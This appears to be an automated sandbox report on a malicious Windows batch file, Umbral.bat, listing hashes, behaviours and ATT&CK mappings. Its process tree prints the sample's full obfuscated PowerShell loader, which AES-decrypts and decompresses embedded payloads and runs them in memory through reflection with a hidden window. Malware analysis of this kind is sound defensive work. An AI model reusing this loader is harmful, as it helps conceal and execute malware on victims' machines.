b99eb432b5d440a41faf8ed09c3df4ff0cf82ca13fefed8c2cb56ca96960ab4d

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
27-10-2024 17:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.bat
Size

468KB
MD5

50c1619dde4c59211f2220d19fd7a2ff
SHA1

f89a90307b00ff0bd2733642ea43427bc304c730
SHA256

b99eb432b5d440a41faf8ed09c3df4ff0cf82ca13fefed8c2cb56ca96960ab4d
SHA512

ed591a3357cc3e3487b708f2e08a74683c93d5e5e16d1978f90f4dc37b77f147bb36ba3cb55318d146c0831f7636baa22006b6c9960db3e8a72dbdc798efb627
SSDEEP

12288:7WdGCJGwwo92cPLI0O8JtFDUB9PvBxdCAI2hlojjF9xq:SNswwxcjJngP3PdCVuM9xq

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2140	1712	cmd.exe	31
PID 1712 wrote to memory of 2140	1712	cmd.exe	31
PID 1712 wrote to memory of 2140	1712	cmd.exe	31
PID 1712 wrote to memory of 2056	1712	cmd.exe	32
PID 1712 wrote to memory of 2056	1712	cmd.exe	32
PID 1712 wrote to memory of 2056	1712	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Umbral.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JBDmY5Rm32yFC2eFK/K6i05UDHc2UnMQkJErjy0URRw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIqIhLZZ4mABnJftMk1zig=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LaItK=New-Object System.IO.MemoryStream(,$param_var); $BkPnB=New-Object System.IO.MemoryStream; $dqAwB=New-Object System.IO.Compression.GZipStream($LaItK, [IO.Compression.CompressionMode]::Decompress); $dqAwB.CopyTo($BkPnB); $dqAwB.Dispose(); $LaItK.Dispose(); $BkPnB.Dispose(); $BkPnB.ToArray();}function execute_function($param_var,$param2_var){ $aRoAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GgeTI=$aRoAH.EntryPoint; $GgeTI.Invoke($null, $param2_var);}$cxvio = 'C:\Users\Admin\AppData\Local\Temp\Umbral.bat';$host.UI.RawUI.WindowTitle = $cxvio;$jncrM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cxvio).Split([Environment]::NewLine);foreach ($EHnfk in $jncrM) { if ($EHnfk.StartsWith('qqYQzFlhLQoZwGnqjKHD')) { $uHvVU=$EHnfk.Substring(20); break; }}$payloads_var=[string[]]$uHvVU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2056-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/2056-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/2056-6-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-8-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2056-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-10-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Filesize
4KB

Download
memory/2056-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Filesize
9.6MB

Download